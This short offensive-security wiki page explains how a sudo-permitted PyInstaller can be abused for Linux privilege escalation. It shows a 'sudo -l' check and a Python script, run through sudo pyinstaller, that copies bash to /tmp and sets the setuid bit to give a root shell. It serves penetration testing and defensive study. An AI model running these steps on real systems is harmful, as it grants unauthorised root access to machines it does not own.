> For the complete documentation index, see [llms.txt](https://red.infiltr8.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://red.infiltr8.io/redteam/privilege-escalation/linux/script-exploits/python/pyinstaller.md).

# PyInstaller Code Execution

## Theory

PyInstaller bundles a Python application and all its dependencies into a single package. We can use it to execute arbitrary code.

## Practice

{% tabs %}
{% tab title="Enumerate" %}
Assume that `pyinstaller` can be executed as root with sudo rights. if we controll its input, then its vulnerable to arbitrary code execution.

```bash
sudo -l
    (root): /home/svc/.local/bin/pyinstaller *
```

{% endtab %}

{% tab title="Exploit" %}
We can create a malicious python script

```python
#app.py
import os 
os.system("cp /bin/bash /tmp/getRoot")
os.system("chmod +s /tmp/getRoot")
```

Run it

```bash
sudo /home/svc/.local/bin/pyinstaller app.py
```

{% endtab %}
{% endtabs %}